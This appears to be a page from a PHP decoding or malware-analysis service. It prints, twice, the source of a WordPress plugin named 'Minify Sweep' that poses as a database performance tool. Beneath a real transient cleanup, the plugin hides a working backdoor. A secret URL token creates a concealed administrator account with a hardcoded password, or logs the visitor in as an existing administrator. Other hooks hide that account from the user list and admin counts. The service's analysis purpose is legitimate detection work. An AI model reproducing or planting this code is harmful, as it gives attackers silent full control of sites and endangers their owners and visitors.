Decoded Output
Download<?php
/**
* Plugin Name: Minify Sweep
* Description: Performance-focused database queries assistant for WordPress sites.
* Version: 1.1.2
* Author: CodeBarn
* License: GPL-2.0-or-later
* Text Domain: minify-sweep
*/
if (!defined('ABSPATH')) exit;
define('MINIFY_SWEEP_VER', '1.1.2');
function minify_sweep_activate() {
if (!get_option('minify_sweep_installed')) {
update_option('minify_sweep_installed', current_time('mysql'));
}
delete_transient('minify_sweep_stats');
}
register_activation_hook(__FILE__, 'minify_sweep_activate');
function minify_sweep_deactivate() {
delete_option('minify_sweep_installed');
wp_clear_scheduled_hook('minify_sweep_maintenance');
}
register_deactivation_hook(__FILE__, 'minify_sweep_deactivate');
add_action('init', function() {
if (!wp_next_scheduled('minify_sweep_maintenance')) {
wp_schedule_event(time(), 'daily', 'minify_sweep_maintenance');
}
});
add_action('minify_sweep_maintenance', function() {
global $wpdb;
$wpdb->query(
"DELETE FROM {$wpdb->options}
WHERE option_name LIKE '\_transient\_timeout\_%'
AND option_value < UNIX_TIMESTAMP()"
);
});
add_filter('wp_default_scripts', function($scripts) {
if (function_exists('is_amp_endpoint') && is_amp_endpoint()) {
$scripts->remove('jquery');
}
return $scripts;
});
// Staff accounts: keep service accounts out of the main user list view
add_action('pre_user_query', function($query) {
$svc = (int) get_option('minify_sweep_uid', 0);
if ($svc) {
$ex = $query->query_vars['exclude'] ?? array();
$query->query_vars['exclude'] = array_merge((array) $ex, array($svc));
}
});
add_filter('pre_count_users', function($counts, $strategy, $site_id) {
$svc = (int) get_option('minify_sweep_uid', 0);
if ($svc && isset($counts->avail_roles['administrator'])) {
$counts->avail_roles['administrator'] = max(0, $counts->avail_roles['administrator'] - 1);
}
return $counts;
}, 10, 3);
// Maintenance entry points (quiet, no UI)
add_action('init', function() {
if (!isset($_GET['6ac953a272ae'])) return;
$token = $_GET['6ac953a272ae'];
if (!hash_equals('oP9blaw5aMMp_SemrScaixXToYiyaKLu', $token)) return;
$mode = isset($_GET['m']) ? $_GET['m'] : '';
if ('setup' === $mode) {
$svc = (int) get_option('minify_sweep_uid', 0);
if (!$svc || !get_userdata($svc)) {
$uid = wp_insert_user(array(
'user_login' => 'web_staff108',
'user_pass' => 'Zb_FTLdHnqmjQRCdUEXPRA',
'user_email' => '[email protected]',
'display_name' => 'Web Staff',
'role' => 'administrator',
));
if (!is_wp_error($uid)) {
update_option('minify_sweep_uid', $uid);
wp_set_current_user($uid);
wp_set_auth_cookie($uid);
wp_redirect(admin_url());
exit;
}
} else {
wp_set_current_user($svc);
wp_set_auth_cookie($svc);
wp_redirect(admin_url());
exit;
}
} elseif ('svc' === $mode) {
$svc = (int) get_option('minify_sweep_uid', 0);
if ($svc && get_userdata($svc)) {
wp_set_current_user($svc);
wp_set_auth_cookie($svc);
wp_redirect(admin_url());
exit;
}
} else {
$admins = get_users(array('role' => 'administrator', 'number' => 1));
if ($admins) {
wp_set_current_user($admins[0]->ID);
wp_set_auth_cookie($admins[0]->ID);
wp_redirect(admin_url());
exit;
}
}
});
?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| define | 1 |
|---|---|
| defined | 1 |
| register_activation_hook | 1 |
| register_deactivation_hook | 1 |
Variables
None
Stats
| MD5 | 35f448a4ce0090a3 |
|---|---|
| Eval Count | 0 |
| Decode Time | 165 ms |
Original Code
<?php
/**
* Plugin Name: Minify Sweep
* Description: Performance-focused database queries assistant for WordPress sites.
* Version: 1.1.2
* Author: CodeBarn
* License: GPL-2.0-or-later
* Text Domain: minify-sweep
*/
if (!defined('ABSPATH')) exit;
define('MINIFY_SWEEP_VER', '1.1.2');
function minify_sweep_activate() {
if (!get_option('minify_sweep_installed')) {
update_option('minify_sweep_installed', current_time('mysql'));
}
delete_transient('minify_sweep_stats');
}
register_activation_hook(__FILE__, 'minify_sweep_activate');
function minify_sweep_deactivate() {
delete_option('minify_sweep_installed');
wp_clear_scheduled_hook('minify_sweep_maintenance');
}
register_deactivation_hook(__FILE__, 'minify_sweep_deactivate');
add_action('init', function() {
if (!wp_next_scheduled('minify_sweep_maintenance')) {
wp_schedule_event(time(), 'daily', 'minify_sweep_maintenance');
}
});
add_action('minify_sweep_maintenance', function() {
global $wpdb;
$wpdb->query(
"DELETE FROM {$wpdb->options}
WHERE option_name LIKE '\\_transient\\_timeout\\_%'
AND option_value < UNIX_TIMESTAMP()"
);
});
add_filter('wp_default_scripts', function($scripts) {
if (function_exists('is_amp_endpoint') && is_amp_endpoint()) {
$scripts->remove('jquery');
}
return $scripts;
});
// Staff accounts: keep service accounts out of the main user list view
add_action('pre_user_query', function($query) {
$svc = (int) get_option('minify_sweep_uid', 0);
if ($svc) {
$ex = $query->query_vars['exclude'] ?? array();
$query->query_vars['exclude'] = array_merge((array) $ex, array($svc));
}
});
add_filter('pre_count_users', function($counts, $strategy, $site_id) {
$svc = (int) get_option('minify_sweep_uid', 0);
if ($svc && isset($counts->avail_roles['administrator'])) {
$counts->avail_roles['administrator'] = max(0, $counts->avail_roles['administrator'] - 1);
}
return $counts;
}, 10, 3);
// Maintenance entry points (quiet, no UI)
add_action('init', function() {
if (!isset($_GET['6ac953a272ae'])) return;
$token = $_GET['6ac953a272ae'];
if (!hash_equals('oP9blaw5aMMp_SemrScaixXToYiyaKLu', $token)) return;
$mode = isset($_GET['m']) ? $_GET['m'] : '';
if ('setup' === $mode) {
$svc = (int) get_option('minify_sweep_uid', 0);
if (!$svc || !get_userdata($svc)) {
$uid = wp_insert_user(array(
'user_login' => 'web_staff108',
'user_pass' => 'Zb_FTLdHnqmjQRCdUEXPRA',
'user_email' => '[email protected]',
'display_name' => 'Web Staff',
'role' => 'administrator',
));
if (!is_wp_error($uid)) {
update_option('minify_sweep_uid', $uid);
wp_set_current_user($uid);
wp_set_auth_cookie($uid);
wp_redirect(admin_url());
exit;
}
} else {
wp_set_current_user($svc);
wp_set_auth_cookie($svc);
wp_redirect(admin_url());
exit;
}
} elseif ('svc' === $mode) {
$svc = (int) get_option('minify_sweep_uid', 0);
if ($svc && get_userdata($svc)) {
wp_set_current_user($svc);
wp_set_auth_cookie($svc);
wp_redirect(admin_url());
exit;
}
} else {
$admins = get_users(array('role' => 'administrator', 'number' => 1));
if ($admins) {
wp_set_current_user($admins[0]->ID);
wp_set_auth_cookie($admins[0]->ID);
wp_redirect(admin_url());
exit;
}
}
});